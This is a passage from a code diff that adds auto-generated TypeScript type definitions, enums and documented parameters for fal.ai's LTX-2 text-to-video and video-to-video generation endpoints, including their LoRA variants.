scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The modality scale for the audio. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + audio_modality_scale?: number + /** + * @description The Classifier-Free Guidance (CFG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 1 + * @maximum 20 + * @default 3 + * @type number | undefined + */ + video_cfg_scale?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BTextToVideoAccelerationEnumKey + /** + * @description The modality scale for the video. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + video_modality_scale?: number + /** + * @description The rescaling scale for the video. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + video_rescaling_scale?: number + /** + * @description Whether to use restart sampling. This will inject a small amount of noise during each denoising step, which can help improve the quality of the generated video. + * @default false + * @type boolean | undefined + */ + use_restart_sampling?: boolean + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The number of inference steps to use. + * @minimum 8 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BTextToVideoSchedulerEnumKey + /** + * @description The Spatiotemporal Guidance (STG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + video_stg_scale?: number + /** + * @description The prompt to generate the video from. + * @example A cowboy walking through a dusty town at high noon, camera following from behind, cinematic depth, realistic lighting, western mood, 4K film grain. + * @type string + */ + prompt: string + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The Classifier-Free Guidance (CFG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 1 + * @maximum 20 + * @default 7 + * @type number | undefined + */ + audio_cfg_scale?: number + /** + * @description The rescaling scale for the audio. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + audio_rescaling_scale?: number + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BTextToVideoVideoOutputTypeEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BTextToVideoVideoWriteModeEnumKey + /** + * @description The scale of the distill LoRA to use for the first pass. Set to 0 to disable. + * @minimum 0 + * @maximum 1 + * @default 0.2 + * @type number | undefined + */ + distill_lora_first_pass_scale?: number + /** + * @description The size of the generated video. + * @default landscape_16_9 + */ + video_size?: ImageSizeBa5644C5 | InputFalAiLtx2322BTextToVideoVideoSizeKey + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BTextToVideoCameraLoraEnumKey + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The Spatiotemporal Guidance (STG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + audio_stg_scale?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BTextToVideoVideoQualityEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The gamma of gradient estimation during denoising. Set to 0 to disable. + * @minimum 0 + * @maximum 10 + * @default 2 + * @type number | undefined + */ + gradient_estimation_gamma?: number +} + +export type VideoFileDedc00Ff = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BTextToVideo = { + /** + * @description The generated video. + * @example {"height":704,"file_name":"sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4","num_frames":161,"url":"https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4","content_type":"video/mp4","duration":6.44,"fps":25,"width":1248} + * @type object + */ + video: VideoFileDedc00Ff + /** + * @description The prompt used for the generation. + * @example A cowboy walking through a dusty town at high noon, camera following from behind, cinematic depth, realistic lighting, western mood, 4K film grain. + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 149063119 + * @type integer + */ + seed: number +} + +export type ImageSize933Ff403 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BTextToVideoLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BTextToVideoLoraAccelerationEnumKey = + (typeof inputFalAiLtx2322BTextToVideoLoraAccelerationEnum)[keyof typeof inputFalAiLtx2322BTextToVideoLoraAccelerationEnum] + +export const inputFalAiLtx2322BTextToVideoLoraSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BTextToVideoLoraSchedulerEnumKey = + (typeof inputFalAiLtx2322BTextToVideoLoraSchedulerEnum)[keyof typeof inputFalAiLtx2322BTextToVideoLoraSchedulerEnum] + +export const inputFalAiLtx2322BTextToVideoLoraVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BTextToVideoLoraVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BTextToVideoLoraVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BTextToVideoLoraVideoOutputTypeEnum] + +export const inputFalAiLtx2322BTextToVideoLoraVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx2322BTextToVideoLoraVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BTextToVideoLoraVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BTextToVideoLoraVideoWriteModeEnum] + +export const inputFalAiLtx2322BTextToVideoLoraVideoSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BTextToVideoLoraVideoSizeKey = + (typeof inputFalAiLtx2322BTextToVideoLoraVideoSize)[keyof typeof inputFalAiLtx2322BTextToVideoLoraVideoSize] + +export const inputFalAiLtx2322BTextToVideoLoraCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BTextToVideoLoraCameraLoraEnumKey = + (typeof inputFalAiLtx2322BTextToVideoLoraCameraLoraEnum)[keyof typeof inputFalAiLtx2322BTextToVideoLoraCameraLoraEnum] + +export const inputFalAiLtx2322BTextToVideoLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BTextToVideoLoraVideoQualityEnumKey = + (typeof inputFalAiLtx2322BTextToVideoLoraVideoQualityEnum)[keyof typeof inputFalAiLtx2322BTextToVideoLoraVideoQualityEnum] + +export type InputFalAiLtx2322BTextToVideoLora = { + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The modality scale for the audio. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + audio_modality_scale?: number + /** + * @description The Classifier-Free Guidance (CFG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 1 + * @maximum 20 + * @default 3 + * @type number | undefined + */ + video_cfg_scale?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BTextToVideoLoraAccelerationEnumKey + /** + * @description The modality scale for the video. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + video_modality_scale?: number + /** + * @description The rescaling scale for the video. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + video_rescaling_scale?: number + /** + * @description Whether to use restart sampling. This will inject a small amount of noise during each denoising step, which can help improve the quality of the generated video. + * @default false + * @type boolean | undefined + */ + use_restart_sampling?: boolean + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The number of inference steps to use. + * @minimum 8 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BTextToVideoLoraSchedulerEnumKey + /** + * @description The Spatiotemporal Guidance (STG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + video_stg_scale?: number + /** + * @description The prompt to generate the video from. + * @example A cowboy walking through a dusty town at high noon, camera following from behind, cinematic depth, realistic lighting, western mood, 4K film grain. + * @type string + */ + prompt: string + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The Classifier-Free Guidance (CFG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 1 + * @maximum 20 + * @default 7 + * @type number | undefined + */ + audio_cfg_scale?: number + /** + * @description The rescaling scale for the audio. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + audio_rescaling_scale?: number + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BTextToVideoLoraVideoOutputTypeEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BTextToVideoLoraVideoWriteModeEnumKey + /** + * @description The scale of the distill LoRA to use for the first pass. Set to 0 to disable. + * @minimum 0 + * @maximum 1 + * @default 0.2 + * @type number | undefined + */ + distill_lora_first_pass_scale?: number + /** + * @description The size of the generated video. + * @default landscape_16_9 + */ + video_size?: ImageSize933Ff403 | InputFalAiLtx2322BTextToVideoLoraVideoSizeKey + /** + * @description The LoRAs to use for the generation. + * @type array + */ + loras: LoRAInput[] + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BTextToVideoLoraCameraLoraEnumKey + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The Spatiotemporal Guidance (STG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + audio_stg_scale?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BTextToVideoLoraVideoQualityEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The gamma of gradient estimation during denoising. Set to 0 to disable. + * @minimum 0 + * @maximum 10 + * @default 2 + * @type number | undefined + */ + gradient_estimation_gamma?: number +} + +export type VideoFileFa80Cb4A = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BTextToVideoLora = { + /** + * @description The generated video. + * @example {"height":704,"file_name":"sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4","num_frames":161,"url":"https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4","content_type":"video/mp4","duration":6.44,"fps":25,"width":1248} + * @type object + */ + video: VideoFileFa80Cb4A + /** + * @description The prompt used for the generation. + * @example A cowboy walking through a dusty town at high noon, camera following from behind, cinematic depth, realistic lighting, western mood, 4K film grain. + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 149063119 + * @type integer + */ + seed: number +} + +export type ImageSize6A96B81B = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BVideoToVideoAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BVideoToVideoAccelerationEnumKey = + (typeof inputFalAiLtx2322BVideoToVideoAccelerationEnum)[keyof typeof inputFalAiLtx2322BVideoToVideoAccelerationEnum] + +export const inputFalAiLtx2322BVideoToVideoSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BVideoToVideoSchedulerEnumKey = + (typeof inputFalAiLtx2322BVideoToVideoSchedulerEnum)[keyof typeof inputFalAiLtx2322BVideoToVideoSchedulerEnum] + +export const inputFalAiLtx2322BVideoToVideoVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BVideoToVideoVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BVideoToVideoVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BVideoToVideoVideoOutputTypeEnum] + +export const inputFalAiLtx2322BVideoToVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx2322BVideoToVideoVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BVideoToVideoVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BVideoToVideoVideoWriteModeEnum] + +export const inputFalAiLtx2322BVideoToVideoVideoSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BVideoToVideoVideoSizeKey = + (typeof inputFalAiLtx2322BVideoToVideoVideoSize)[keyof typeof inputFalAiLtx2322BVideoToVideoVideoSize] + +export const inputFalAiLtx2322BVideoToVideoCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BVideoToVideoCameraLoraEnumKey = + (typeof inputFalAiLtx2322BVideoToVideoCameraLoraEnum)[keyof typeof inputFalAiLtx2322BVideoToVideoCameraLoraEnum] + +export const inputFalAiLtx2322BVideoToVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BVideoToVideoVideoQualityEnumKey = + (typeof inputFalAiLtx2322BVideoToVideoVideoQualityEnum)[keyof typeof inputFalAiLtx2322BVideoToVideoVideoQualityEnum] + +export type InputFalAiLtx2322BVideoToVideo = { + /** + * @description Video conditioning strength. Lower values represent more freedom given to the model to change the video content. + * @minimum 0 + * @maximum 1 + * @default 0.01 + * @type number | undefined + */ + video_strength?: number + /** + * @description Audio conditioning strength. Lower values represent more freedom given to the model to change the audio content. + * @minimum 0 + * @maximum 1 + * @default 0.01 + * @type number | undefined + */ + audio_strength?: number + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description The modality scale for the audio. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + audio_modality_scale?: number + /** + * @description The Classifier-Free Guidance (CFG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 1 + * @maximum 20 + * @default 3 + * @type number | undefined + */ + video_cfg_scale?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BVideoToVideoAccelerationEnumKey + /** + * @description The URL of the video to generate the video from. + * @example https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4 + * @type string + */ + video_url: string + /** + * @description The modality scale for the video. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + video_modality_scale?: number + /** + * @description The rescaling scale for the video. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + video_rescaling_scale?: number + /** + * @description Whether to use restart sampling. This will inject a small amount of noise during each denoising step, which can help improve the quality of the generated video. + * @default false + * @type boolean | undefined + */ + use_restart_sampling?: boolean + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The number of inference steps to use. + * @minimum 8 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BVideoToVideoSchedulerEnumKey + /** + * @description The Spatiotemporal Guidance (STG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + video_stg_scale?: number + /** + * @description The prompt to generate the video from. + * @example style: cinematic/realistic. A man wearing a baseball cap walks through a modern town. He holds a coffee cup. + * @type string + */ + prompt: string + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description When enabled, the number of frames will be calculated based on the video duration and FPS. When disabled, use the specified num_frames. + * @default true + * @type boolean | undefined + */ + match_video_length?: boolean + /** + * @description The Classifier-Free Guidance (CFG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 1 + * @maximum 20 + * @default 7 + * @type number | undefined + */ + audio_cfg_scale?: number + /** + * @description The rescaling scale for the audio. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + audio_rescaling_scale?: number + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BVideoToVideoVideoOutputTypeEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BVideoToVideoVideoWriteModeEnumKey + /** + * @description The scale of the distill LoRA to use for the first pass. Set to 0 to disable. + * @minimum 0 + * @maximum 1 + * @default 0.2 + * @type number | undefined + */ + distill_lora_first_pass_scale?: number + /** + * @description The size of the generated video. + * @default auto + */ + video_size?: ImageSize6A96B81B | InputFalAiLtx2322BVideoToVideoVideoSizeKey + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BVideoToVideoCameraLoraEnumKey + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The Spatiotemporal Guidance (STG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + audio_stg_scale?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BVideoToVideoVideoQualityEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The gamma of gradient estimation during denoising. Set to 0 to disable. + * @minimum 0 + * @maximum 10 + * @default 2 + * @type number | undefined + */ + gradient_estimation_gamma?: number + /** + * @description When true, match the output FPS to the input video's FPS instead of using the default target FPS. + * @default true + * @type boolean | undefined + */ + match_input_fps?: boolean +} + +export type VideoFileF20Cb411 = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BVideoToVideo = { + /** + * @description The generated video. + * @example {"height":704,"file_name":"GHF1uJnBb0iuYWQDuZrzG_WAtgthsP.mp4","num_frames":161,"url":"https://v3b.fal.media/files/b/0a922b2c/GHF1uJnBb0iuYWQDuZrzG_WAtgthsP.mp4","content_type":"video/mp4","duration":6.44,"fps":25,"width":1248} + * @type object + */ + video: VideoFileF20Cb411 + /** + * @description The prompt used for the generation. + * @example black-and-white video, a cowboy walks through a dusty town, film grain + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 1490631192028410600 + * @type integer + */ + seed: number +} + +export type ImageSizeAa81Badf = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BVideoToVideoLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BVideoToVideoLoraAccelerationEnumKey = + (typeof inputFalAiLtx2322BVideoToVideoLoraAccelerationEnum)[keyof typeof inputFalAiLtx2322BVideoToVideoLoraAccelerationEnum] + +export const inputFalAiLtx2322BVideoToVideoLoraSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BVideoToVideoLoraSchedulerEnumKey = + (typeof inputFalAiLtx2322BVideoToVideoLoraSchedulerEnum)[keyof typeof inputFalAiLtx2322BVideoToVideoLoraSchedulerEnum] + +export const inputFalAiLtx2322BVideoToVideoLoraVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BVideoToVideoLoraVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BVideoToVideoLoraVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BVideoToVideoLoraVideoOutputTypeEnum] + +export const inputFalAiLtx2322BVideoToVideoLoraVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx2322BVideoToVideoLoraVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BVideoToVideoLoraVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BVideoToVideoLoraVideoWriteModeEnum] + +export const inputFalAiLtx2322BVideoToVideoLoraVideoSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BVideoToVideoLoraVideoSizeKey = + (typeof inputFalAiLtx2322BVideoToVideoLoraVideoSize)[keyof typeof inputFalAiLtx2322BVideoToVideoLoraVideoSize] + +export const inputFalAiLtx2322BVideoToVideoLoraCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BVideoToVideoLoraCameraLoraEnumKey = + (typeof inputFalAiLtx2322BVideoToVideoLoraCameraLoraEnum)[keyof typeof inputFalAiLtx2322BVideoToVideoLoraCameraLoraEnum] + +export const inputFalAiLtx2322BVideoToVideoLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BVideoToVideoLoraVideoQualityEnumKey = + (typeof inputFalAiLtx2322BVideoToVideoLoraVideoQualityEnum)[keyof typeof inputFalAiLtx2322BVideoToVideoLoraVideoQualityEnum] + +export type InputFalAiLtx2322BVideoToVideoLora = { + /** + * @description Video conditioning strength. Lower values represent more freedom given to the model to change the video content. + * @minimum 0 + * @maximum 1 + * @default 0.01 + * @type number | undefined + */ + video_strength?: number + /** + * @description Audio conditioning strength. Lower values represent more freedom given to the model to change the audio content. + * @minimum 0 + * @maximum 1 + * @default 0.01 + * @type number | undefined + */ + audio_strength?: number + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | 